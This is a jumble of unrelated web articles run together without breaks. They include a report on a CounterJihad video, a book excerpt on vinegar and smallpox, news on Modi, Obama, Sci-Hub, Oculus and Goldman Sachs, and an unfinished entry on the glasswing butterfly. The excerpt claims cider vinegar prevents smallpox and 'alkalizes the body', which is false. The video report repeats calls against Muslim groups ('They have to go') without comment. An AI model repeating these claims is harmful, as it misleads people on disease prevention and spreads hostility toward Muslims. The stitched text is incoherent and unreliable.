The CounterJihad video is now able to be viewed on their website. “Terrorism seems to be everywhere, and it’s getting worse. The bad guys have lots of names—ISIS, al Qaeda, Boko Haram—but they have one thing in common. They are all killing for a cause: Islamic Law known as Sharia,” a voice-over in the video states. “Sharia is a return to medieval Islam. Sharia demands a Holy War called Jihad. The most widely available book of Islamic Law in English says: ‘Jihad means to war against non-Muslims.'”
The voice-over goes on to say, “But there is another kind of Jihad. In their Explanatory Memorandum, the Muslim Brotherhood, calls this, ‘civilization jihad,’ saying, ‘The [Muslim Brotherhood] must understand that their work in America is a kind of grand jihad in eliminating and destroying the Western civilization from within and ‘sabotaging’ its miserable house by their hands and the hands of the believers.'”
“There are plenty of Modern Muslims who want to ‘live and let live,’ but unfortunately the groups that speak most often for the Muslim community follow the medieval version based on Sharia. They are working to make the US more like the Caliphate. They have to go,” the video concludes.
It was recently reported that YouTube will start automatically removing extremist videos.Apple Cider Vinegar
Apple cider vinegar
by Suzanne Humphries, MD and Roman Bystrianyk
Extracted from: [2013] Dissolving Illusions: Disease, Vaccines, and The Forgotten History
D. G. Oliphant, M.D., of Toronto, Canada, having read the article on the use of Acetic acid in scarlet fever, writes of a "vinegar cure" as applied to small pox. Dr. Roth first claimed wonderful success in treatment regarding vinegar more reliable as a prophylactic in small-pox than Belladonna in scarlet
Vinegar is a common food product made through fermentation of a variety of sources. Apple cider vinegar is an old folk remedy for high cholesterol, sore throats, sinus infections, and many other conditions. An 1877 article described Dr. Roth's success using vinegar for smallpox prophylaxis.
In 1899 Dr. Howe also demonstrated vinegar's ability to protect a person from acquiring smallpox. Those who used the vinegar protocol were able to take care of other people with smallpox without fear of contracting the disease. The author notes that, despite several hundred exposures, vinegar was protective against smallpox and was considered an "established fact."
The vinegar treatment as a preventative against the contagion of smallpox, discovered by Dr. C. F. Howe, county health officer of Atchison, Kansas, has passed the point of mere theory and is now an established fact, having been efficient in several hundred cases of exposure in the city of Atchison and Atchison county. Many of these exposures have been the nurse, as well as many others that it was impossible to isolate from the original case of smallpox for the want of room. In other words, anyone, vaccinated or not, can nurse a case of smallpox without fear of contracting the disease if, at the same time, they use the vinegar in tablespoonful doses four times daily in half a cup of water. It can be taken in less amount for small children or more by adults.
Again, in 1901 Professor MacLean promoted the idea of using apple cider vinegar three or four times a day to protect a person from contracting smallpox.
J-P. MacLean Ph.D., the renowned "anti" Secretary of the Western Reserve Historical Society, having readily overthrown the conclusions of all the great men who for a century past have been convinced of the efficacy of vaccination for the prevention of smallpox, now comes to the front in the newspapers with the real preventative. "Any person who has been exposed need have no fear of smallpox if he will take two or three tablespoonfuls of pure cider vinegar three or four times a day." The discussion may now be regarded as closed, and smallpox at last is conquered! What a pity Secretary MacLean Ph.D. has been so long in expounding his great discovery... Acetic acid from the juice of the grape must by no means be substituted for acetic acid from the juice of the apple.
Today we know that apple cider vinegar is a highly effective disinfectant and also alkalizes the body, which would naturally lead it to be more disease resistant. In addition, it contains potassium and numerous enzymes that aid in digestion, has antiscorbutic properties, and has been used effectively for numerous health issues since ancient times. Prebiotics that feed probiotics are also present in quantity.Further Reading Former Goldman Sachs programmer convicted of stealing code in second trial
The New York State Supreme Court has overturned the second conviction of Sergey Aleynikov, a former programmer accused of stealing high-frequency trading source code after leaving Goldman Sachs in 2009.
The Russian-American programmer, who was featured in the book Flash Boys, was previously convicted in federal court in 2010 on one count of stealing trade secrets and one count of transporting stolen property.
He was released from prison when the United States Court of Appeals for the Second Circuit overturned the conviction in 2012. The appeals court wrote that Aleynikov did not steal anything physical when copying the source code, because it was done over the Internet and did not violate the National Stolen Property Act.
After that ruling, state charges were brought, this time under New York Penal Code § 165.07 Unlawful Use of Secret Scientific Material. That legislation was written in 1967 and specifically refers to “a tangible reproduction.” Aleynikov was initially found guilty by a New York jury trial in May 2015.
The New York Supreme Court largely agreed with the federal appellate court, finding:
Defendants cannot be convicted of crimes because we believe as a matter of policy that their conduct warrants prosecution. We cannot ignore key terms like "tangible" and "appropriate" because they make it impossible to convict someone we believe engaged in wrongdoing. The demands of the digital age will doubtless require further refinement of our criminal laws. But it is the job of the courts to apply the laws that exist. For all of those reasons, Defendant's motion for a trial order of dismissal with respect to counts one and two of the indictment is granted.
The New York Times noted that prosecutors may appeal the decision further. Despite the New York Supreme Court’s confusing name, it is not the court of last resort—that distinction goes to the New York Court of Appeals.NEW DELHI: In what is probably the most significant foreign policy decision taken since he became Prime Minister, Narendra Modi has confirmed to US President Barack Obama that he will have a bilateral meeting with him in Washington in the last week of September this year.Obama had invited Modi to the US when he called up the PM to congratulate him.Significantly, the meeting won’t happen on the sidelines of the United Nations general assembly in New York but in the form of a full-fledged bilateral summit in Washington.The two sides are finalizing the date for the meeting which will be in the last week of September, TOI has learnt. The Modi-Obama summit promises to be one of the foremost international events of the year and will overshadow Modi’s presence at UNGA, if he decides to go to New York too.In taking the decision, Modi has shown that his own predilections, if any, won’t come in the way of ties with the US.He has, in fact, acted with alacrity and decisiveness on what many believe is going to be one of the biggest immediate challenges for India’s foreign policy — that of mending India-US ties which had tapered off under UPA-2 and then nosedived with l’affaire Khobragade.Modi’s decision underlines the significance of the US in India’s strategic matrix. There was speculation that Modi could focus more on China and South Korea for economic gains and on an improved security partnership with Japan but these are not likely to come at the expense of Washington.Modi was thought to be inadequately equipped to mend India-US ties because — as some reckoned — he could find it difficult to come to terms with the US hostility towards him after the 2002 Gujarat riots, and the resultant revocation of his US visa. He remained the only person to be barred from traveling to the US for many years under the country’s controversial International Religious Freedom Act While the UK and EU were quick off the blocks in reaching out to Modi, US was late in responding, but once it did in the form of a meeting former US ambassador Nancy Powell sought with him, Modi has been generous in his response.In an interview to TOI, before he took over as PM, Modi had said that relations between the two countries cannot be allowed to be “even remotely” influenced by incidents related to individuals.Describing the US as a natural ally, he said it was in the interest of both countries to further develop the relationship.Modi’s decision to confirm the Obama bilateral is also the second big surprise he has sprung on his detractors who thought he would be straightjacketed by his own election campaign, and the baggage he was supposed to have come with on relations with the US.Despite Pakistan featuring in his speeches, and his admonition of UPA for its 'biryani’ diplomacy, Modi successfully invited Pakistan PM Nawaz Sharif for his swearing in.President Barack Obama is mocking Republicans who repeatedly denounce Donald Trump at the bidding of the mainstream media, challenging them to reject their party’s nominee.
“The question I think that they have to ask themselves is, if you are repeatedly having to say in very strong terms that what he has said is unacceptable, why are you still endorsing him?” Obama asked. “What does this say about your party that this is your standard bearer?”
Obama ridiculed Trump at a White House press conference for “daily and weekly” episodes in the presidential election where Republicans had to distance themselves from their nominee, warning that the denunciations were beginning to “ring hollow.”
“There has to come a point in which you say somebody who makes those kinds of statements doesn’t have the judgment, the temperament, the understanding to occupy the most powerful position in the world,” Obama said. “Because a lot of people depend on the White House getting stuff right.”
He insisted that he was prepared to lose gracefully to Mitt Romney and John McCain, because he believed that unlike Trump, they could serve as president.
“Had they won, I would have been disappointed, but I would have said to all Americans, this is our president,” he said.
Obama said that Trump was “unfit” for office and “woefully unprepared” to serve as president.
He also challenged more Republicans who were repeatedly embarrassed by Trump to speak out.
“There has to come a point at which you say enough,” he said. “The alternative is that the entire party, the Republican Party effectively endorses and validates the positions that are being articulated by Mr. Trump.”
Listen to the discussion of this article on Breitbart News Daily on SiriusXM:“Until these and other concerns are addressed, this national travel advisory will stand,” Johnson said in a statement.
American Airlines said it was disappointed to hear about the travel advisory, and pledged that its officials would meet with NAACP representatives at the carrier’s Fort Worth headquarters.
“We are disappointed to hear about this travel advisory as our team members -- a diverse community of gate agents, pilots, and flight attendants -- are proud to serve customers of all backgrounds,” spokeswoman Shannon Gilson said in a statement. “With that said, we understand there is more to do.... We are committed to having a meaningful dialogue about our airline and are ready to both listen and engage.”
The NAACP said it historically has issued travel advisories "when conditions on the ground pose a substantial risk of harm to black Americans." Over the summer, the group issued an advisory for the entire state of Missouri after a bill was passed there affecting employee protections against workplace discrimination.
The airline warning came just over a week after Tamika Mallory, who co-chaired the Women’s March on Washington earlier this year, was removed from an American Airlines flight from Miami to New York.18 July 2017 International
India on Monday categorically denied reports coming from Chinese media that the Chinese Army killed 158 Indian soldiers and fired rockets across the Sikkim border.
This came a day after China's army conducted new drills in Tibet that included targeting enemy aircraft and tanks.
"Such reports are utterly baseless, malicious and mischievous. No cognisance should be taken of them by responsible media," Ministry of External Affairs Minsiter official spokesperson Gopal Baglay said.
The response came after Chinese Army carried out attacks across the Sikkim border wounding several Indian soldiers, reported Dunya news citing a two minute video footage that was broadcasted by the China Central Television (CCTV).
The video footage showed the Chinese soldiers attacking an Indian posts using rocket launchers, machine guns, and mortars.
This incident came amidst India-China's month long stand-off in China, Bhutan, and India tri-junction Doklam border.
The stand-off emerged after Chinese troops were stopped by the Indian Army from construction roads in the Doklam border.
India claims Sikkim border as part of its territory, while China has said that the area falls on their side as per the 1890 treaty signed between British and China.
Consequently, China suspended the annual Kailash Manasarovar yatra and conceded that the decision to suspend the pilgrimage was due to the border scuffle.
It also alleged that the Indian troops had crossed the Sikkim sector of the Indo-China border. Beijing has accused New Delhi of violating a convention signed in 1890 between Britain and China relating to Sikkim and Tibet.
(ANI)Stevan Harnad’s “Subversive Proposal” came of age last year. I’m now teaching students younger than Stevan’s proposal, and yet, very little has actually changed in these 21 years. On the contrary, one may even make the case that while efforts like institutional repositories (green OA), open access journals (gold OA) or preprint archives have helped to make some of the world’s scholarly literature more accessible (estimated to now be at more than 40% of newly published papers), we are now facing problems much more pernicious than lacking access: most of our data and essentially all of our scientific source code is not being archived nor shared, our incentive structure still rewards sloppy or fraudulent scientists over meticulous, honest ones, and the ratchet of competing for grants just to keep the lights in the lab on is driving the smartest young minds out of academia, while GlamHumping marketeers accumulate.
While one may not immediately acknowledge the connection between access to the literature and the more pernicious problems I’ve alluded to, I’d argue that by ceding our control over our literature to commercial publishers, we have locked ourselves into an anachronistic system which is the underlying cause for most if not all our current woes. If that were indeed the case, then freeing us from this system is the key to solving all the associated problems.
Some data to support this perspective: we are currently spending about US$ 10b annually on legacy publishers, when we could publish fully open access for about US$200m per year if we only were to switch publishing to, e.g. SciELO, or any other such system. In fact, I’d argue that the tax payer has the right to demand that we use their tax funds only for the least expensive publishing option. This means it is our duty to the citizens to reduce our publishing expenses to no more than currently ~US$200m per year (and we would even increase the value of the literature by making it open to boot!). If we were to do that, we’d have US$9.8b every single year to buy all the different infrastructure solutions that already exist to support all our intellectual outputs, be that text, data or code. Without journals (why would one keep those?), we’d also be switching to different metrics to assist us in minimizing the inherent biases peer-review necessarily brings about. We would hence be able not only to provide science with a modern scholarly infrastructure, we could even use the scientific method to assist us in identifying the most promising new scientists and which of them deserve which kind of support.
While many of the consequences of wasting these infrastructure funds on publishers have become apparent only more recently, the indefensibility of ever-increasing subscription pricing in a time of record-low publishing costs, was already apparent 20 years ago. Hence, already in 1994, it became obvious that one way of freeing ourselves from the subscription-shackles was to make the entire scholarly literature available online, free to read. Collectively, these two decade-long concerted efforts of the global OA community, to wrestle the knowledge of the world from the hands of the publishers, one article at a time, has resulted in about 27 million (24%) of about 114 million English-language articles becoming publicly accessible by 2014. Since then, one single woman has managed to make a whopping 48 million paywalled articles publicly accessible. In terms of making the knowledge of the world available to the people who are the rightful owners, this woman, Alexandra Elbakyan, has single-handedly been more successful than all OA advocates and activists over the last 20 years combined.
Let that accomplishment sink in for a minute.
Of course it isn’t all global cheering and party everywhere. Obviously, the publishers complain that she used her site, Sci-Hub, to ‘steal their content‘ – with their content being, of course, the knowledge of the world that they have been holding hostage for a gigantic ransom. For 20 years this industry has thrived at the public teat, parasitizing an ever-increasing stream of tax-funded subsidies to climb from record profits to record profits, financial crises be damned. Of course, they are very happy to seize on this opportunity to distract from the real problems we’re facing, by staging a lawsuit to keep their doomed business practices running for yet a little longer. Perhaps more amusingly, one suggestion from the publishers of how to respond to Sci-Hub is to make access even more restrictive and expensive. I’ve only been around the OA movement for 10 years, but the ignorance, the gall and the sheer greed of publishers has astounded me time and time again. Essentially, in my experience, the only reply we ever got from publishers to our different approaches to reform our infrastructure, has been one big raised middle finger. Clearly, two decades of negotiations, talks and diplomacy have led us nowhere. In my opinion, the time to be inclusive has come and passed. Publishers have opted to remain outside of the scholarly community and work against it, rather than with it. Actions of civil disobedience like those of Aaron Swartz and Alexandra Elbakyan are a logical consequence of two decades of stalled negotiations and failed reform efforts.
In the face of multinational, highly profitable corporations citing mere copyright when human rights (“Everyone has the right freely to participate in the cultural life of the community, to enjoy the arts and to share in scientific advancement and its benefits.”) are at stake, civil disobedience of the kind Sci-Hub is a great example of, becomes a societal imperative.
But even from within the OA community Alexandra Elbakyan
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instead of the usual guests. When pressed on his stance he gave a forced apology.
If people want me to apologize, I will apologize...I did not have all that worked out as accurately as I should have had it. That doesn't bother me at all.
The tone of Camping's response and the answers he gave closely matched readers predictions from a weekend IBTimes poll.
The survey of 20,000 people asking what would be Camping's most likely response now that the earth is still here.
The majority, 54 percent, believe that Camping will unrepentantly claim a calculation error and form a new Doomsday date.
Roughly 19 percent of respondents said that Camping would claim God had mercy on mankind and spared the earth, while almost 16 percent believe he will claim that the rapture did happen, but just in an invisible way.
Just 8 percent predicted camping would say he was flat out wrong and apologize.Image copyright Thinkstock
Mohammed is now the most common name for men in Norway's capital city Oslo, it appears.
"It is very exciting," Jorgen Ouren of Statistics Norway tells The Local news website. A recent count of the city's population showed more than 4,800 men and boys in the city are called Mohammed, beating out other popular names like Jan and Per. Although Mohammed - with various spellings - has been the favourite name for baby boys in Oslo for the past four years, this is the first time it has also topped the men's list.
Norwegian Muslims made up around 150,000 of Norway's 4.5 million people in 2012, the website On Islam says, mainly from Pakistani, Somali, Iraqi and Moroccan backgrounds. But Norway also has Europe's largest anti-Islam organisation, called Stop Islamization of Norway. It was set up in 2008 and is thought to have more than 3,000 members.
Outside the Norwegian capital, Filip is the most popular name for newborn boys, while Emma is the favourite for girls.
Use #NewsfromElsewhere to stay up-to-date with our reports via Twitter.You can now apply to attend Oculus Connect 3! Join us at our largest Connect yet in San Jose, CA, October 5-7 for technical talks, workshops, and keynotes from engineers, designers, and creators pioneering the future of virtual reality.
New this year, John Carmack will give his VR app critiques live on stage during the first day of the conference. You’ll also have the chance to hear his signature unscripted keynote — extended this year to 90 minutes. John will join Brendan Iribe, Michael Abrash, and other special guests in the keynote lineup. OC3 is the best place to learn more about the Touch launch, get the latest news on Gear VR and the Oculus developer platform — plus be the first to try out the exciting new Rift and Gear VR games, apps, and experiences coming to Oculus.
Visit the OC3 website to submit your application today. The application process closes August 19 at 11:59 PM PT. We’ll send acceptance notifications by the end of August — shortly after, you’ll be asked to complete registration.
Registrations completed by September 9 are eligible for early bird pricing at $199. Regular conference passes are $299, and this year, we’re offering a special $99 student/academic pass for current students and faculty.
We’re working closely with developers and partners to create a compelling lineup of talks and workshops across five tracks, including:
Design — Explore early lessons of VR game design with our Oculus Studios team and top developers such as High Voltage Software, Tripwire Interactive, OZWE Games, and more. Learn about breakthroughs for FPS in VR, how to design games with hand presence for Touch, and best practices for cross-platform compatibility.
Development — Get hands-on training for how to build the world’s best VR applications, from tutorials covering the latest Oculus Mobile and PC SDKs, to workshops on top game engines including Unity and Unreal.
Business — From ideation and raising funds, to launching your first experience on the Oculus Store, we’ll bring experts together from across the VR community to discuss how developers of all sizes can find success in the evolving VR ecosystem.
Experiences — Learn VR and 360 video production techniques from the teams that brought you Henry, Nomads: Maasai, LeBron James: Striving for Greatness, and more. Explore the endless possibilities for VR across 360 video, film, art, and education.
Social — From personalized avatars to connecting with real people in virtual worlds, learn how to add deeper levels of immersion to your VR experiences through memorable multiplayer interactions.
The full OC3 schedule will be released in the coming weeks – stay tuned!
Introducing the updated Gear VR Today we’re also excited to share the updated Samsung Gear VR, powered by Oculus*.
This new Gear VR is available for $99 and features improved image clarity, an updated flat trackpad for better usability, a new Oculus Home button on the exterior to make navigating between VR experiences easier, and USB Type C and Type B support.
Pre-orders open August 3 and start shipping August 19.
With more than 300 unique VR games, apps, and videos on the Oculus Store, Gear VR continues to offer the best mobile VR experiences to people around the world.
Please note: This post has been edited to delete reference to the Galaxy Note7. Customer safety is our top priority. While Samsung investigates multiple reports of issues on the Samsung Galaxy Note7, Oculus is removing support for all Note7 devices on the Oculus platform.
Please visit Samsung’s information page or contact Samsung directly for more information.
— The Oculus TeamSpeeding over 200 miles an hour around a race track may seem like a lot to handle, but IndyCar racer Tony Kanaan is in control.
Drivers like him experience gravitational forces that tax the body, causing cramps, high heart rates and other symptoms. Thanks to a smart shirt called Hitoe, produced by Japanese information technology company NTT Data and Toray Industries, Kanaan can monitor his heart rate and breathing.
When he gets too tense during a race, his team of engineers can calm him down.
“Your heart says everything,” Kanaan said in a phone interview during a break in his preparation for this weekend’s Firestone 600 race at Texas Motor Speedway.
Last year, NTT Data approached Kanaan with the idea of making him a conductive fiber shirt. It has since changed his approach to training and competing.
“I used to cramp a lot in the car,” he said. “I was wasting effort just because we didn’t have the right information. [The shirt] shows me the muscles I use the most, so I can concentrate more in my workouts.”
NTT Data, which moved its U.S. headquarters to Plano from Boston last year, is developing a line of products that use early detection to promote good health. The shirt Kanaan is testing is the only one for extreme sports, but it’s developing a line of athletic products with similar features.
NTT Data and Toray Industries have already made a fitness compression shirt and a shirt for workers to monitor their bodies. Both are available commercially. Next up will be a line of medical garments.
Adam Nelson, NTT Data vice president for health care and life science, said the company wants to mass produce its high-tech fabric in the U.S. for hospitals and other health providers.
“We’re looking at this from a health care perspective, cut the costs and provide a better experience when they undergo care,” he said.
Nelson said the medical line could include hospital gowns, an outfit for babies and other wearable medical devices.
NTT and health care market growth
By 2019, NTT Data’s North American services market will be worth $487 million, according to company data backed by research from Gartner Inc. Globally, NTT Data employs 60,000 people in more than 35 countries and is the sixth largest IT services firm in the world.
NTT Data is dramatically growing its Texas presence, doubling the size of its facility in Plano’s Granite Park III building. In March, it bought Dell’s information technology services division (formerly Perot Systems) for $3 billion.
With a value of $148 billion, the United States is already the largest medical device market, according to the U.S. Department of Commerce. Analysts estimate that wearable tracking devices will reach $53 billion in sales by 2019, according to Statista.
The field is already getting crowded. Since 2011, U.S. health care has become more digital after the Health Information Technology for Economic and Clinical Health Act was enacted by Congress in 2009. The law, part of President Barack Obama’s plan to rebound from the 2008 recession, mandates that health care providers digitize their health records with federal incentives.
Tech companies outside the health care industry are moving into the health care IT market. Apple, for example, has already pushed into health care with its Apple Watch, which comes with exercise and health apps.
'Bad decisions, bad data'
But with all the hype about wearable medical devices, some professionals say health care providers should be wary of faulty data. Dr. Benjamin Levine, director of the Institute for Exercise and Environmental Medicine at Texas Health Presbyterian Hospital Dallas and UT Southwestern, said these devices could yield skewed results if the devices aren’t used properly.
“My concern with widespread use is the decimation of bad data,” said Levine, a leading researcher on wearable devices. “People can back bad decisions with bad data.”
The Food and Drug Administration has guidelines for medical apps, but there are none for so-called general wellness devices, such as NTT Data’s smart shirt. But that doesn’t mean they aren’t regulated.
FDA spokeswoman Angela Stark said the agency is reviewing its guidelines for these devices. Consumers are encouraged to give their feedback to the proposed policy. In the meantime, all medical devices must meet the FDA’s standards for consumer safety.
Kanaan said his father died of cancer, so when the NTT Data team approached him with the smart shirt, he jumped at the opportunity to test a technology with the potential to help people.
“Sometimes it gets depressing to spend time in a hospital just to be monitored,” Kanaan said. “I know how hard that can be. In the future, the doctor will be given a live feed. You’ll be at home while still getting treatment.”
During Saturday’s IndyCar race in Fort Worth, Kanaan hopes his smart shirt will give him an advantage over the other drivers.
“It’s something they don’t have,” he said, “so I can brag about it.”When Detroit declared bankruptcy, or at least tried to — the legal situation has gotten complicated — I know that I wasn’t the only economist to have a sinking feeling about the likely impact on our policy discourse. Was it going to be Greece all over again?
Clearly, some people would like to see that happen. So let’s get this conversation headed in the right direction, before it’s too late.
O.K., what am I talking about? As you may recall, a few years ago Greece plunged into fiscal crisis. This was a bad thing but should have had limited effects on the rest of the world; the Greek economy is, after all, quite small (actually, about one and a half times as big as the economy of metropolitan Detroit). Unfortunately, many politicians and policy makers used the Greek crisis to hijack the debate, changing the subject from job creation to fiscal rectitude.
Now, the truth was that Greece was a very special case, holding few if any lessons for wider economic policy — and even in Greece, budget deficits were only one piece of the problem. Nonetheless, for a while policy discourse across the Western world was completely “Hellenized” — everyone was Greece, or was about to turn into Greece. And this intellectual wrong turn did huge damage to prospects for economic recovery.ES Football Newsletter Enter your email address Please enter an email address Email address is invalid Fill out this field Email address is invalid You already have an account. Please log in or register with your social account
The coalition of supporters’ groups campaigning for a public inquiry into the decision to award West Ham tenancy of the Olympic Stadium have branded the government’s response to their petition “wholly inadequate”.
The Department for Culture, Media and Sport yesterday rejected the petition from fans of Arsenal, Tottenham and Chelsea, maintaining that West Ham’s deal for a new stadium “constituted the best available return for the taxpayer”.
The government’s response reaffirmed its belief that only with the tenancy of a major London football team could the stadium have a viable long-term future.
However the supporters’ groups, which include the initial eight London signatories and fans from six other clubs including Manchester United, Norwich and Everton, immediately condemned the government for their answer to the petition.
“This statement only recycles arguments we have previously heard from the London Legacy Development Corporation (LLDC) and West Ham United,” said the coalition. “The facts we have uncovered need to be addressed by the Government. This statement ignores them. It is wholly inadequate.”
“The Government claims the contract has been widely scrutinised. Yet the taxpayer continues to be denied sight of it. The Government speaks of ‘profits’ flowing to the taxpayer, yet we have shown that no profit comes from West Ham’s rental because matchday overheads normally paid by clubs are in this case paid by the taxpayer.”
And the supporters do not intend to let the issue lie, warning that without the full release of the agreement between West Ham and the LLDC, “the impression of a cover up will grow”.
The DCMS have refused to release further information on the deal between the two parties, warning that releasing “commercially sensitive” information would damage the negotiating position of stadium operator Vinci.
The coalition claims to have further information which, when released, will support the case of those questioning the value for money the taxpayer has received from the deal.
Their statement added: “We are currently obtaining professional verification of new information which appears to cast further doubt on the value of the deal for the taxpayer.
“As soon as we are confident of the facts and their implications we will make a further announcement. It would surely be in the Government’s interest to release the entire contract. If it continues to fall to concerned citizens to uncover the facts, drip by drip, the impression of a cover-up will grow.”
The petition, launched last month, received the 10,000 signatures required for a response from the government within 24 hours. It currently has over 24,000 backers, some way short of the 100,000 needed to be considered for debate in Parliament.
The fourteen supporters’ trusts making up the coalition are: Arsenal, Aston Villa, The Blue Union (Everton), Canaries Trust (Norwich City), Charlton Athletic, Chelsea, Crystal Palace, The Dons Trust (AFC Wimbledon), The Foxes Trust (Leicester City), Fulham, Leyton Orient, Manchester United, QPR1st and Tottenham Hotspur.Cindy Jacobs of Generals International is a self-proclaimed prophet who claims that her spiritual gifts are so powerful that she can prevent terrorist attacks, cure insanity, heal broken bones and tumors, stop coups, capture world leaders, cause floods and even bring people back from the dead.
She was interviewed recently by Stephen Strang for his upcoming book about the supposedly miraculous election of President Trump, where she revealed that her gifts are so amazing that she once unknowingly prophesied Trump’s election.
After declaring “there is no way he could have been elected if it wasn’t supernatural,” Jacobs was asked by Strang if she had ever received a word from the Lord about Trump’s election before it happened.
“I didn’t think I did, but actually I did,” she responded. “Someone reminded me that at the New Year’s celebration that Chuck Pierce did the year before the election, I had prophesied, ‘And the Lord says I have a trump card in my hand and I’m going to play it and I’m going to trump the system.’ I didn’t even recall it, sad to say. But in retrospect—sometimes it’s like that with the prophetic—in retrospect you see what God was trying to say.”Dozens of people are likely buried underneath an Eldridge park, according to the final report from a state archaeologist.
On Thursday, June 1, professor Glenn Storey explained the results from his University of Iowa lab. He used black-and-white images, created using computer software, to explain.
"I have two, at least two, really very clear rows of graves, not far from where the church was," said Storey.
Earlier this month, Eldridge leaders voted to hire an archaeologist to put some long-standing town rumors to rest. Using ground penetrating radar, Storey traced the park property that was once the site of a Presbyterian Church, until a tornado destroyed the building in 1918.
The results, Storey said, are clear.
"I think there are definitely coffins, and I suspect that several of them must be metal, because they stand out so well," said Storey.
In fact, the radar shows as many as 40 or 50 unmarked graves.
"I think they're fairly shallow... it's not six feet under. They're much shallower, and I think that's kind of typical of a lot of cemeteries in Iowa," said Storey.
Storey says it's rewarding work, and even though the images are tough to read, they're helping bring the community's history into focus.
"Remembering human individuals is one of the most important things that we can do to honor our ancestors and to say we care about the past," said Storey.
Eldridge leaders have done some research, and they have actually learned the names of several people believed to be buried in the park.
Storey said many cities choose to put up a marker in their honor.Tim founded GeeklyInc with Michael DiMauro way back in 2013 when they realized they had two podcasts and needed a place to stick them. Since then, Geekly has grown and taken off in ways Tim could have never imagined.
This hulking horror seems familiar… but how can this be possible? Sure, we know that this fortress would have a few nightmares stored up its sleeve, but this?! No matter. This is just one more obstacle to overcome on our quest to save the world. Naturally, we will not go easy on this monstrosity. Tum would have it no other way.
Join us in June in Portland for GeeklyCon 2016!!! Tickets are still available at the time of this posting.
Hit the store and get an Ok Bye shirt or a Battle Standard of House Vidalis while supplies last!
The adventure continues with Titus Harper (Tim Lanning), Thom the Dragonborn (Mike Bachmann), Aludra (Jennifer Cheek), Jaela (Nika Howard) and your Dungeon Master (Michael DiMauro). Don’t forget to follow our editor Steph Kingston (@stephokingston)!
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Subscribe via RSS (feedburner)NEW YORK (Fortune) -- While Congress and Bush administration officials have been working to complete a bailout plan and stem the financial contagion on Wall Street, a different kind of economic crisis emerged across the South this week: A severe, hurricane-related gasoline shortage has curtailed trucking from Atlanta to Asheville, N.C., and created a wave of panic buying among motorists.
The return of gas lines has largely flown under the radar of politicians who are usually keenly attuned, because their constituents are, to what's going on at the pump. But more of the Capitol gang should be paying attention to this.
That's because nationwide our gasoline inventory is shockingly low. Liquidity must be restored soon to this market, or we could be facing a crippling run on the gasoline bank. And if you think Americans are outraged about Wall Street, wait until their Main Street grocery store doesn't get the bread and milk delivery for a week or two.
Back to the '70s
The scenes over the past several days in places like Nashville, Tenn., Anniston, Ala., and western North Carolina looked like file footage from 1979 - with bags over empty gas pumps and quarter-mile long lines of cars waiting to fill up at stations that hadn't run out. AAA reported that drivers were so desperate that they were following tankers to gas stations to ensure a fill-up.
In Georgia, Gov. Sonny Perdue got a waiver from the Environmental Protection Agency to temporarily allow stations to sell high-sulfur gasoline. (Correction: An earlier version of this story said Louisiana received the waiver and incorrectly named Perdue as that state's governor.) In Alabama, Gov. Bob Riley ordered a state of emergency to prevent price gouging by station owners that do have gas.
What's going on? The immediate answer is that the double whammy of Hurricanes Gustav and Ike, which swept through the Gulf of Mexico earlier this month, caused much of the Gulf's oil drilling and refinery production to be shut down. In particular Ike, which hit refinery-rich Southeastern Texas on Sept. 13, caused massive power outages in the Galveston and Houston areas.
As of this week, more than a dozen refineries around Texas City and Port Arthur were not operating at full capacity and, according to the Department of Energy, six refineries, with a combined capacity of 1.6 million barrels a day, were still not running at all.
A bigger problem
But while the current shortages can be traced directly to the two hurricanes, the severity of the problem points out a bigger issue: The U.S. has been operating for a while with razor-thin spare gasoline capacity.
In its most recent Weekly Oil Data Review, Barclays Capital pointed out that the U.S. gasoline inventory has reached its lowest level since August 1967, when demand was a little more than half its current level of 9.3 million barrels a day. At 178.7 million barrels, inventories are 21.6 million barrels below their five-year average.
None of this surprises industry watchers such as Matt Simmons, the chairman of Houston energy industry investment bank Simmons & Co. and chief spokesman for the Peak Oil movement. I recently wrote a profile of Simmons for Fortune ("The prophet of $500 oil") and I can report that he has been warning about the potential of gasoline shortages in the U.S. for months.
"Our system is so fragile," he told me recently. "All you need is a tiny change to go from 'Oh, we're in fine shape' to an unmitigated disaster."
Simmons points out that the gasoline weekly stock reports have been trending sharply downward since last winter (with a brief upturn in the spring), and that even before Gustav and Ike we were in "just in time" supply mode.
Getting back to a safer level of extra capacity isn't simple, either. Once the refineries get back up and running, they'll drain the already low crude oil inventories. Unless gasoline demand stays low, Simmons believes, we'll have a hard time clawing back to stability.
That's why he worries about a top-up catastrophe that could cripple the trucking industry and disrupt food deliveries.
As he told me the other day: "If we end up having gasoline shortages, the odds are about 90% that Americans will do what we always do: We'll top up our tanks. And in topping up our tanks, within three or four days we'll drain the pool dry and then within seven days we'll run out of food."
That sounds awfully dire. And it probably won't happen. But, then again, a couple of months ago hardly anybody would have predicted that AIG would collapse, Congress would be mulling a Wall Street bailout, and '70s-era gas lines would be back.Greta oto is a species of brush-footed butterfly and member of the subfamily Danainae, tribe Ithomiini, and subtribe Godyridina. It is known by the common name glasswing butterfly for its unique transparent wings that allow it to camouflage without extensive coloration. In Spanish speaking regions, it may also be referred to as espejitos, meaning "little mirrors" because of its transparent wings.[1] The butterfly is mainly found in Central and northern regions of South America with sightings as far north as Texas and as far south as Chile. While its wings appear delicate, the butterfly is able to carry up to 40 times its own weight.[2] In addition to its unique wing physiology, the butterfly is known for behaviors such as long migrations and lekking among males.[1] The Greta oto also closely resembles its other counterpart, the Greta andromica.
Geographic range and habitat [ edit ]
The glasswing butterfly is most commonly found from Central to South America as far south as Chile, with appearances as north as Mexico and Texas.[3] This butterfly thrives in the tropical conditions of the rainforests in the Central and South American countries.[1]
Life cycle [ edit ]
Egg [ edit ]
A nightshade plant
Eggs are typically laid on plants of the genus Cestrum, a member of the nightshade family of plants, which serves as a food source for later life stages.[1]
Larva [ edit ]
The caterpillars of the glasswing butterfly have green bodies with bright purple and red stripes. They are found on the host plants of genus Cestrum.[4] The larvae are cylindrical in shape with dorsal projections that are smooth with filaments. These properties make the larvae extremely reflective, which essentially causes them to be invisible to predators.[5]
Pupa [ edit ]
The pupae are silver in color.[1] During the fifth instar stage, the pupa produces a silk pad on the lower surface of leaves through four spinning movements, onto which it attaches. The silk fibers are important in providing greater flexibility to the pupa attachment. The cremaster, a hooked bristle-like structure on the pupa, attaches to this silk pad by a series of lateral movements of the pupa’s posterior abdomen. Pupa attachment failure occurs when the silk pad breaks. Additionally, researchers have found the pupa attachment to have high tensile strength and toughness, which prevent the pupa from being pulled by predators or breaking off in the wind, allowing them to safely swing.[6]
Greta oto adult adult
Lantana flower nectar is a food source for adult glasswing butterflies
Adult [ edit ]
